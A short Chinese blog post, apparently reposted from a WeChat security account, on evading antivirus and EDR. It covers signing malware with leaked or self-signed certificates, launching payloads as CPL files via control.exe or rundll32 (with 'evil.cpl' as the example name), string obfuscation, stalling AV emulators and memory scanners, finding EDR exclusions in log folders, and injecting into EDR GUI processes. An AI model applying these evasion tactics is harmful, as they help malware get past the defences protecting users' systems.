除了购买证书签名之外,也可以自签名证书,自签名的证书和没有签名的证书还是两个概念的。
虽然哪些泄露的证书都是无效的,但是对比没有签名的恶意软件来说还是非常有用的。
CPL
CPL文件是控制面板小程序,可以双击运行,通过命令运行control.exe evil.cpl
,或者通过命令 rundll32.exe Shell32.dll,Control_RunDLL evil.cpl
运行。
CPL文件相对.exe文件来说还是比较OPSEC的。
基本的规避
字符串混淆
一般都会对字符串进行混淆处理的,尤其是在开发恶意软件或想要隐藏程序功能时,用于防止静态分析工具轻松检测到关键字符串。通过将明文字符串转换成加密或编码的形式,可以在程序运行时动态解密或解码这些字符串,从而降低被分析工具轻易识别的风险。
延迟执行
在进行高级启发式分析时,杀毒软件会通过模拟样本的执行流程,包括机器指令和 API 调用,以检测潜在的恶意行为。模拟的执行过程中,系统会定期对模拟器的内存和堆栈进行扫描,以查找可疑的行为特征。这是为了检测和识别某些复杂的恶意软件,特别是那些使用反分析技术来隐藏自己。
当杀毒软件模拟执行恶意软件的前 1,000,000 条指令时,如果没有检测到可疑行为或触发任何警报,模拟过程会结束,程序会被视为安全并被允许继续运行。这是为了避免对无害程序进行过多分析,提高检测效率。当杀毒软件决定不再通过指令模拟检测后,程序将被允许执行,接下来会观察其行为。如果进程分配了大量的可执行或可读写的内存(超过设定的大小),高级内存扫描器(AMS)会开始对这些内存区域进行扫描。AMS 的扫描并不是一直进行,而是间隔触发的,可能是按计划进行,也可能是在进程调用特定的内存分配函数时触发。
为了对抗恶意软件检测机制,策略之一是让模拟扫描超时,或者通过检测一些虚假的系统调用结果来欺骗杀毒软件,比如调用 OpenProcess(0x04)
后不返回错误。此外,恶意软件的执行步骤会被故意放慢,逐步分段地进行内存写入,最后再执行,目的是延迟触发检测机制。
EDR
针对于AV/EDR可以查看他的日志相关的目录,在目录中我们可能会找到排除项,比如迈克菲的DLP,在日志目录中可以查看到conhost.exe被被排除掉了。
而且我们可以尝试注入到EDR的进程中,一般GUI的进程是没有自我保护的。
所以我们可以尝试注入到EDR GUI的进程中。
原文始发于微信公众号(Relay学安全):免杀思路扩展
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论